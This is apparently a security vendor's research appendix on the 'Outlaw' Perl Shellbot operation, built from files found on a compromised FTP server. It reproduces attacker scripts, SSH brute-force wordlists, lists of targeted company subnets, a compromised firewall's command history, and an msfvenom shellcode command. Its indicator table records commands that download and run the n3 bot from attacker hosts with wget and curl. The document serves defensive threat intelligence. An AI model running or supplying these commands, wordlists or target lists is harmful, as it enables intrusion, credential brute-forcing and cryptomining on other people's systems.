

Perl-Based Shellbot Looks to Target Organizations via C&C

Appendix

TrendLabs Security Intelligence Blog Trend Micro Cyber Safety Solutions Team November 2018 Below is an overview of the most significant findings of the files from the compromised FTP related to the operation.

80 million IP addresses generated with the set of parameters

The compromised FTP contained various files and tools the attackers used. The first files found were configuration files for some toolsets. From part of one script, we recovered code that we used to obtain a list of 80 million IP addresses. Further research suggested it was the way to generate a randomized target list, which would make uncovering the real target within the decoy systems more difficult.

".*d.php*" returned all the parameters. Submitting each parameter to the URL /128[.]199[.]255[.]180/src/[.]xpf/ips/\$param returns a list of IP addresses for each particular parameter.

```
#!/bin/bash
#echo $$ >x.pid
pass=http://128.199.255.180/src/.x/pf/feedp.php
ftpx=http://128.199.255.180/src/.x/ips
wget -q $pass
mv feedp.php p
Threads=350
rm -rf .d.php
if [[ `uname` == 'Linux' ]]
then
wget -q $ftpx/$line
mv "$line" i
        port=$(echo $line |cut -d 'X' -f 1)
    ./b $port 500
echo "GATA" >>oK
    sleep 60
    killall -9 bssh
sleep 5
done < ".d.php"
else
echo die...
fi
```

Figure 1. Parameter returns an IP address

All the IP addresses were saved on the lists, called by the invoking parameter with the following script:



Figure 3. All the downloaded files

The supposed studio or the site itself has no business relevance, with no domain name linked to its business. It is likely that the whole website is just a covert page used to confuse the researchers and to disguise their operations.

The configuration file for the IRC bouncer found on the compromised FTP

This was the only seemingly working version of the toolset in development. It had various parts of open-source codes from other operations, and its initial purpose was to build an IRC-operated XMR miner with the ability to mask itself as another process. The Linux hacking tool "Shark" was found within these files.



Figure 4 and 5. Comments in the Romanian language re: the IRC bouncer

Hacking tools found

We also found open-source hacking tools with custom wrap-up bash scripts with comments written in the Romanian language. Among the files, there was a new toolkit

called *Haiduc* (detected by Trend Micro as Hacktool.Linux.SSHBRUTE.A), which translates to "An Outlaw," that was not seen before. It is, however, found for download on the website, *arhivecodex[.]tk*, which also hosts *speed.py*, the script for a performance check related to a Monero mining rig.



Figure 6. Screenshot of the website's front page

The hacking tool was tested to scan the C&C servers while monitoring the traffic. It simply brute forced the SSH for credentials using the given wordlist, which was also captured from the hackers (the group which we named "Outlaw"). We tested whether this is some trap for script kiddies, but *Haiduc* did only what it was supposed to do — brute force the SSH credentials with the list of targets and wordlist. According to the content of the "Classes" directory (discussed later in this document), the tool is ready to be used for cyberattacks against listed companies, either to perform DDoS attacks or brute force the SSH service credentials on the target's server, with a randomized order of the scanned IP addresses to make the detection more difficult.

Details of Haiduc toolkit files

We discussed the *Haiduc* kit toolset in the blog, including the ways hackers used it. Here, we discuss its toolset with the bash wrappers, including so-called "Class files". Each class

file stands for a certain company and contains the first two octets of a subnet. Other scripts from the toolkit generate the remaining two octets of the IP address for scanning. Running *Haiduc* also revealed a list of compromised devices, with more than 185,000 distinct IP addresses.



Figure 7. A class file listing different companies, where "a" is a shell script wrapper for Haiduc



Figure 8. Accepts parameters such as the number of threads to run (threads), password list (passfile), and port number port)



The file, *gasite.txt*, contains the loot and is the final output of the *Haiduc* tool, where the brute forcing resulted in 65,288 possibly compromised hosts.

GNU nano 2.2.6
./co Choopa
./co Microsoft
./co Digital
./co Amazon
./co Ubiquity
./co Softlayer
./co Hetzner

Figure 11. The file Hu keeps names of certain countries/classes

GNU nano 2.2.6
b <mark>ungee bungee</mark>
bungee 1
bungee 111
bungee 111111
bungee 123
bungee 321
bungee 123456
bungee test
bungee test123
bungee test321
bungee ovh

Figure 12. The file Ovh generates a wordlist of 234 certain usernames.

	GNU nano 2.2.6
•	
	root qwerty
	root qwerty123
	root root
	root lqazwsx
	rootadmin rootadmin
۲	rootadmınl23 rootadmınl23
-	root lqaz@WSX
	root root123
	root password
ŝ	root password123
-	root 123456
	root test
	root test123
	root 123
٢	root 321

Figure 13. The Pass wordlist generates another wordlist of 790 lines.

The file, *R*, is a randomness generator for the scanner wrapper file, a, which makes the scanning more difficult to identify.

GNU nano 2.2.6	File: r
#/bin/bash # ToNy Frauda while ["1"];do class=" 218 "	
classb="`seq 1 255`" classb2=(\$classb) num_classb=\${#classb2[*]} b=\${classb2[\$((RANDOM%num_classb))]}	
<pre>classc="`seq 1 255`" classc2=(\$classc) num_classc=\${#classc2[*]} c=\${classc2[\$((RANDOM%num_classc))]}</pre>	
classes=(\$class) num_class=\${#classes[*]} a=\${classes[\$((RANDOM%num_class))]}	
echo "scanez clasa \${a}.\${b}" ./a \${a}.\${c} done	

Figure 14. R file

GNU nano 2.2.6
<pre>#!/usr/bin/env bash # check for presence of parameter</pre>
if [-z \$1]; then echo "Usage: lbl filename" exit l
fi # seed the file interest of lines
read the file into an array of lines declare -a lines
let count=0 while read line: do
lines[\$count]=\$line
let count=count+1 done < "\$1"
<pre># iterate lines of the file accented</pre>
for line in "\${lines[@]}"; do
let count=count+1
done

Figure 15. The Range file verifies the scanning range.

GNU nano 2.2.6	
#!/bin/bash	
	11
TOF ((D=D; D<=255; D++))
/a \$1 \$h \$3	
done	

Figure 16. The file, x, is a bash wrapper shell for the wrapper script "h"

Classes directory



Figure 17. Classes

These "classes" are the first two octets from subnetworks (subnet) of the abovementioned companies. As shown in the examples below.

GNU nano 2.2.6	File: 21vianet
119.37	
120.132	
124.250	
182.174	
183.84	
203.166	
210.77	
211.151	
211.152	
59.151	

Figure 18. 21 vianet

	GNU nano 2.2.6	
	_	
	129.134	
	157.240	
	173.252	
	185.60	
	199.201	
	204.15	
-	208.255	
	31.13	
	54.85	
	66.220	
	69.171	
(69.63	
	74.119	

Figure 19. Facebook

root@		:~/r	n3-bot	:/file	es-10	6-8-	-2018/	Mail/x/classes# ls -laSh
total 116K								
drwxr-xr-x	2	6002	6002	4.0K	Aug	8	10:56	
drwxr-xr-x	3	6002	6002	4.0K	Aug	16	14:24	
- rwxr-xr-x	1	6002	6002	793	Mar	4	2017	Amazon
- rw- r r	1	6002	6002	724	Aug	8	10:56	big
- FWXF-XF-X	1	6002	6002	721	Apr	25	2017	Akamai
-rwxr-xr-x	1	6002	6002	689	Mar	4	2017	Google
- FWXF-XF-X	1	6002	6002	491	Mar	4	2017	Microsoft
- TWXT-XT-X	1	6002	6002	471	Mar	4	2017	Softlayer
-rwxr-xr-x	1	6002	6002	439	Mar	4	2017	RockSpace
- FWXF-XF-X	1	6002	6002	392	Apr	25	2017	Cogeco
- FWXF-XF-X	1	6002	6002	327	Mar	4	2017	Linode
-rwxr-xr-x	1	6002	6002	301	Mar	4	2017	Alibaba
- rwxr-xr-x	1	6002	6002	298	Mar	4	2017	OVH
- rwxr-xr-x	1	6002	6002	264	Apr	25	2017	Yahoo_inc
- FWXF-XF-X	1	6002	6002	241	Apr	6	2017	Digital
- rwxr-xr-x	1	6002	6002	224	Mar	4	2017	GoDaddy
-rwxr-xr-x	1	6002	6002	211	Apr	25	2017	internap-com
- rwxr-xr-x	1	6002	6002	195	Mar	4	2017	Hetzner
- rwxr-xr-x	1	6002	6002	147	Apr	12	2017	Choopa
- rwxr-xr-x	1	6002	6002	117	Apr	25	2017	cloudflare_inc
- FWXF-XF-X	1	6002	6002	114	Mar	4	2017	Ubiquity
- rwxr-xr-x	1	6002	6002	93	Apr	25	2017	facebook
- FWXF-XF-X	1	6002	6002	79	Apr	25	2017	Online-SAS
- rwxr-xr-x	1	6002	6002	75	Mar	4	2017	21vianet
-rwxr-xr-x	1	6002	6002	70	Apr	25	2017	websitewelcome-com
- rwxr-xr-x	1	6002	6002	58	Apr	25	2017	liquid_web
- rwxr-xr-x	1	6002	6002	56	Apr	25	2017	pair_networks
-rwxr-xr-x	1	6002	6002	46	Apr	25	2017	Verizon
- rwxr-xr-x	1	6002	6002	45	Apr	25	2017	Apple





Figure 21. Classes sorted by number of lines = number of subnets to be attacked by the hackers = perimeter size

The list of the hosts, compromised with Haiduc

Among the files found on the compromised FTP server, there is also a list of the hosts compromised using the *Haiduc* tool. It is a 65 thousand-long list of IP addresses, usernames, and passwords for SSH access. The list of targets include smart devices, servers, and network components, among others.

The following are only some of the compromised hosts:

• Firewall of a hotel in South Korea: We detected two backdoors in their root file system. We notified the Korean CERT and have yet to receive a response at the time of writing.

root@SB	TM_TIANJ	IN_SRX-A% history
13	11:46	exit
14	15:42	/etc/init.d/iptables stop
15	15:42	wget http://123.207.28.85:7894/epla
16	15:42	chmod 4755 epla
17	15:42	nohup /root/epla > /dev/null 2 > & 1 &
18	15:42	chattr +i epla &
19	15:42	chattr +d epla &
20	1:47	/etc/init.d/iptables stop
21	1:47	wget http://123.207.28.85:7894/epla
22	1:47	chmod 4755 epla
23	1:47	nohup /root/epla > /dev/null 2 > & 1 &
24	1:48	chattr +i epla &
25	1:48	chattr +d epla &
26	1:48	\$ nohup epla &
27	1:48	echo "./epla&" >> /etc/rc.local
28	1:48	exit
29	1:51	/etc/init.d/iptables stop
30	1:51	wget http://123.207.28.85:7894/epl.6
31	1:51	chmod 4755 epl.6
32	1:51	nohup /root/epl.6 > /dev/null 2 > & 1 &
33	1:51	chattr +i epl.6 &
34	1:51	chattr +d epl.6 &
35	1:51	\$ nohup epl.6 &
36	1:51	echo "./epl.6&" >> /etc/rc.local
37	1:51	exit
38	2:05	/etc/init.d/iptables stop
39	2:05	wget http://123.207.28.85:7894/epl.4
40	2:05	chmod 4755 epl.4
41	2:05	nohup /root/epl.4 > /dev/null 2 > & 1 &
42	2:05	chattr +i epl.4 &
43	2:05	chattr +d epl.4 &
44	2:05	\$ nohup epl.4 &
45	2.05	acha " (and 48" >> (atc/rc local

Figure 22. History of the commands that the hackers ran on the target system

- Cowrie-based honeypot devices, marked as OS Linux svr04 3.2.0-4-amd64 and Linux Ubuntu 3.2.0-4-amd64
- A smart car charging system running on Linux Ubuntu 3.2.0-4-amd64

Not secure		
	State of the state	
Sign In		
	Password:	
	Sign in	

Figure 23. Compromised host related to a smart car charging system

- A VPN gateway, with a password that was already changed
- A network switch

)Y nosis Maint	or Itte mance Network		😫 🚨 test 🔂	? 4
Auto refresh: (22)					
Panel					
Slot 0					
	n n 2 2 L L L L	24			
	🗂 Down 💼 Up 💼 Sta	tdown	Optical interface		
System Description	0	Switch Status			
Product model:		CPU Usage	Memory Usage	Temperat	ure
	Edit				
Device name:			100		
Device name: Uptime:		13%	23%	38%	
Device name Uptrne Berial number:		13%	23%	38%	
Device name Uptime Banal number: MC:		13%	23%	38°	
Device name Uptime Serial number: MC: Software:	Upprade	13% Fan Status	23%	38°	
Device name Uptime Benal number: MAC: Bothware: Roming patch:	Upgrade	13%	23%	38%	
Decis rame	Upgrade	Par Status	23%	38%	

Figure 24. Compromised host related to a network switch

• Database server misused to mine Monero via the coinminer file *xmrig-2.5.3-xenial-amd64.tar* (detected by Trend Micro as Coinminer_MALXMR.SMGH2-ELF64).



Figure 25. The configuration of the miner used



Figure 26. The corresponding wallet address was found with 1.161 XMR at the time of writing

Exploits found related to Ubuntu

The Ubuntu privilege exploit was found in the file, *Non*, which is another privilege escalation tool related to the <u>exploit for CVE-2017-16995</u>.



Figure 27. Suspicious strings found in the file, non

The threat actors used a variant of a hacking tool called "Faker" to spoof the properties of the process running after the initial exploitation to mask the malware-related process. Specifically, this was used to hide the IRC C&C communications from security monitoring during the initial exploitation. It was also used to disguise the Monero miner.



Figure 28. The file, h.c, is also the hacking tool Faker

The next exploits found on the system were based on Pokemon and Dirty Cow with a customized variant of shellcode (The Pokemon exploit is also based on the Dirty Cow vulnerability.).

root@	/fil	es-11-8-2018/M	Mail/expl#	tree
<pre> c0w c0w.c cowcron cowroot cowroot d dirty dirtyc0 dirtyc0 dirtyc0 dirtyc0 dirty_p dirty_p dirty_p mucow mucow.c naughty ofs</pre>	c .c w w.c w-mem w-mem.c asswd_adjust_cow asswd_adjust_cow	/.c		
pokemon	.c			

Figure 29. Pokemon and Dirty Cow-related exploits

<u>Dirty Cow</u> is a vulnerability that affects all Linux-based operating systems and even Android. It is a local privilege escalation bug that can be used with other exploits to allow remote execution to get root access on the host. The other exploit was the aforementioned *non* file in this case.

Shellcode was generated with the command *"msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -I"*. In this case, it is a standard shellcode generated by the Metasploit suite msfvenom tool. This toolset is popular in the cybercriminal underground because it is open-source and readily available, and that it still works on most systems.



Figure 30. Dirty Cow exploit ready to use with custom shellcode

CARP, the HA (high availability) cluster of C&Cs

Common Address Redundancy Protocol (CARP) is a pfsense tool that can be used to build a firewall failover or IPSec base channel between two hosts. According to the file config.log, it seems to be used to create HA cluster from both of the hacked hosts mail[.]rajukdhaka[.]gov[.]bd (202.79.16.178) and hxxp://www[.]nichido-museum[.]or[.]jp/english/ (ftp://museum@museum04@153[.]122[.]156[.]232/Mail/n3).

root@	7 0	/153.122.1	56.232/n3/Mail/ca	rp# ls			
0808280124	auth-options.h	cleanup.c	fixpaths	loginrec.h	nchan.ms	scard.c	ssh-add.1
201009190808	auth-pam.c	clientloop.c	fixprogs	logintest.c	openbsd-compat	scard.h	ssh-add.c
aclocal.m4	auth-pam.h	clientloop.h	groupaccess.c	mac.c	opensshd.init.in	scard-opensc.c	ssh-agent.0
acss.c	auth-passwd.c	compat.c	groupaccess.h	mac.h	openssh.xml.in	scp.0	ssh-agent.1
acss.h	auth-rhosts.c	compat.h	gss-genr.c	Makefile.in	openssl	scp.1	ssh-agent.c
atomicio.c	auth-rh-rsa.c	compress.c	gss-serv.c	match.c	OVERVIEW	scp.c	ssh.c
atomicio.h	auth-rsa.c	compress.h	gss-serv-krb5.c	match.h	packet.c	servconf.c	ssh_config
audit-bsm.c	auth-shadow.c	config.guess	hostfile.c	md5crypt.c	packet.h	servconf.h	ssh_config.0
audit.c	auth-sia.c	config.h.in	hostfile.h	md5crypt.h	pathnames.h	serverloop.c	ssh_config.5
audit.h	auth-sia.h	config.log	include1.h	mdoc2man.awk	platform.c	serverloop.h	sshconnect1.c
authl.c	auth-skey.c	config.sub	include2.h	md-sha256.c	platform.h	session.c	sshconnect2.c
auth2.c	bufaux.c	configure	includes.h	misc.c	progressmeter.c	session.h	sshconnect.c
auth2-chall.c	bufaux.h	configure.ac	inst	misc.h	progressmeter.h	sftp.0	sshconnect.h
auth2-gss.c	bufbn.c	contrib	INSTALL	mkinstalldirs	readconf.c	sftp.1	sshd.0
auth2-hostbased.c	buffer.c	crc32.c	install-sh	moduli	readconf.h	sftp.c	sshd.8
auth2-kbdint.c	buffer.h	crc32.h	kex.c	moduli.c	README	sftp-client.c	sshd.c
auth2-none.c	buildpkg.sh.in	CREDITS	kexdh.c	monitor.c	README.dns	sftp-client.h	sshd_config
auth2-passwd.c	canohost.c	deattack.c	kexdhc.c	monitor_fdpass.c	README.platform	sftp-common.c	sshd_config.0
auth2-pubkey.c	canohost.h	deattack.h	kexdhs.c	monitor_fdpass.h	README.privsep	sftp-common.h	sshd_config.5
auth-bsdauth.c	ChangeLog	defines.h	kexgex.c	monitor.h	README.smartcard	sftp-glob.c	ssh-dss.c
auth.c	channels.c	dh.c	kexgexc.c	monitor_mm.c	README.tun	sftp.h	ssh-gss.h
auth-chall.c	channels.h	dh.h	kexgexs.c	monitor_mm.h	readpass.c	sftp-server.0	ssh.h
authfd.c	cipher-3des1.c	dispatch.c	kex.h	monitor_wrap.c	regress	sftp-server.8	ssh-keygen.0
authfd.h	cipher-acss.c	dispatch.h	key.c	monitor_wrap.h	RFC.nroff	sftp-server.c	ssh-keygen.1
authfile.c	cipher-aes.c	dns.c	key.h	msg.c	rijndael.c	ssh.0	ssh-keygen.c
authfile.h	cipher-bfl.c	dns.h	LICENCE	msg.h	rijndael.h	ssh.1	ssh-keyscan.0
auth.h	cipher.c	entropy.c	log.c	myproposal.h	rsa.c	ssh1.h	ssh-keyscan.1
auth-krb5.c	cipher-ctr.c	entropy.h	log.h	nchan2.ms	rsa.h	ssh2.h	ssh-keyscan.c
auth-options.c	cipher.h	fatal.c	loginrec.c	nchan.c		ssh-add.0	ssh-keysign.0

Figure 31. CARP and config.log from hacked host

Indicators of Compromise (IoCs)

Indicator	Attribution/Description
153.122.156.232	FTP server
202.79.16.178	Server
54.37.72.170	C&C server Luci[.]madweb[.]ro
42.63.154.190	New IP found in C&C communication from Host #1
149.56.134.241	New IP found in C&C communication from Host #1
49.51.172.224	New IP found in C&C communication from Host #1
195.154.43.102	https://www[.]shodan[.]io/host/19 5[.]154[.]43[.]102
Wireshark filter for any traffic related to any at least suspected C&C	
ip.addr==153.122.156.232	Network traffic for suspected C&C IP add
ip.addr==202.79.16.178	Network traffic for suspected C&C IP add
ip.addr==54.37.72.170	Network traffic for suspected C&C IP add

ip.addr==42.63.154.190	Network traffic for suspected C&C IP add
ip.addr==149.56.134.241	Network traffic for suspected C&C IP add
ip.addr==49.51.172.224	Network traffic for suspected C&C IP add
IP addresses spreading the infection as of	
writing	
61.8.73.166	
195.154.43.102	
107.1.153.75	
218.25.74.221	
69.64.62.159	
54.37.72.170	
128.199.255.180	Hosted PHP script that generated the 80M list of IP's
123.207.28.85	C&C that leads to epla backdoor
132.232.43.102	
42.63.154.190	Infected host #1 asked C&C about this IP
hxxp://arhivecodex[.]tk/info	URL
hxxp://sm0k3rnr1[.]000webhostapp[.]com/mata.pl	Similar infections, but points to a different IRC chat
luci.madweb[.]ro	IRC bouncer hosting C&C server

SHA256 for the files		
d9cdf78bf6a71a8f8e00bbd2cfc6caefeae375dcc2a466 de51317ad2e5be6400	brute	ELF_MADVISE.DKG
81d19b8d6a76f8501bbe2f3235821155597c56019eac 45da12a5cc3c860fbff8	n3	PERL_SHELLBOT.S M
6318b936ce6493f2c3c6c13535e5647c1c834ad4e571 df9ed69a8e77169e01c7	nux2.6	ELF_SONEX.SMA
3e527f293b775d46f377a12b6a31415f38540a5643127 18c656cbd1735200770	pscan	ELF_MADVISE.DKG
Dirty Cow files		

16d84dd4c80d54cbe17c4bac328f1bb496da79fbcb90 5ebcab01b0eb1f975d41	c0w	Trojan.Linux.MADVI SE.AA
aca6bd0565422b69198343881b642a50371ddba8a5c 95dee8b32f38e1d882c56	cowroot	Trojan.Linux.MADVI SE.AA
a75a4e09637cae521c4e169f1ecb622d5d116b121ff8c 8f3da094393a46692a8	d	ELF64_MADVISE.B
d1f83570650c3f09f6bd5e807f3480b28af6c09d82dd52 3c8b1664d26cc04300	dirtyc0w	ELF64_MADVISE.B
809fa09a304eebd30f81cdb91d7facdb90ed609df11ef5 b545e1a671348fc9f6	dirtycow-mem	ELF64_MADVISE.B
2f5147a3d540fd55cd52183a22829b1789861cef4b194 c545421db5dca764045	dirty_passwd_adjust_cow	ELF64_MADVISE.B
Haiduc toolset files		
cfa35cc144a91db98660140913c1b9fbf4bdc00ac8f90 3a9ff76b3a3095a889f	epla	ELF_SONEX.SMA
6163a3ca3be7c3b6e8449722f316be66079207e49383 0c1cf4e114128f4fb6a4	haiduc	Hacktool.Linux.SSH BRUTE.A
bd65f76cd0a45d5bf71e8c77fd1be36d3c7cbcd41c737 59c4b825914ff87b9ac	xmrig-2.5.3-xenial-amd64.tar.gz	Coinminer_MALXMR .SMGH2-ELF64

SSH usernames:

luci lucian dragos mazy hydra Poseidon Codex C0dex

Commands used:

Source	Command
107.1.153.75	uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*
195.154.43.102	uname -a; wget ftp://museum:museum04@153[.]122[.]156[.]232/Mail/n3; rm -rf n3; rm -rf n3.*
218.25.74.221	uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*
61.8.73.166	uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*
61.8.73.166	uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*;wget hxxp://54[.]37[.]72[.]170/n.tgz;tar -xzvf n.tgz;rm -rf n.tgz;cd .s;./run;cd /tmp
69.64.62.159	uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*





Securing Your Journey to the Cloud

Trend Micro Incorporated, a global leader in cybersecurity solutions, helps to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses, and governments provide layered security for data centers, cloud environments, networks, and endpoints. All our products work together to seamlessly share threat intelligence and provide a connected threat defense with centralized visibility and investigation, enabling better, faster protection.

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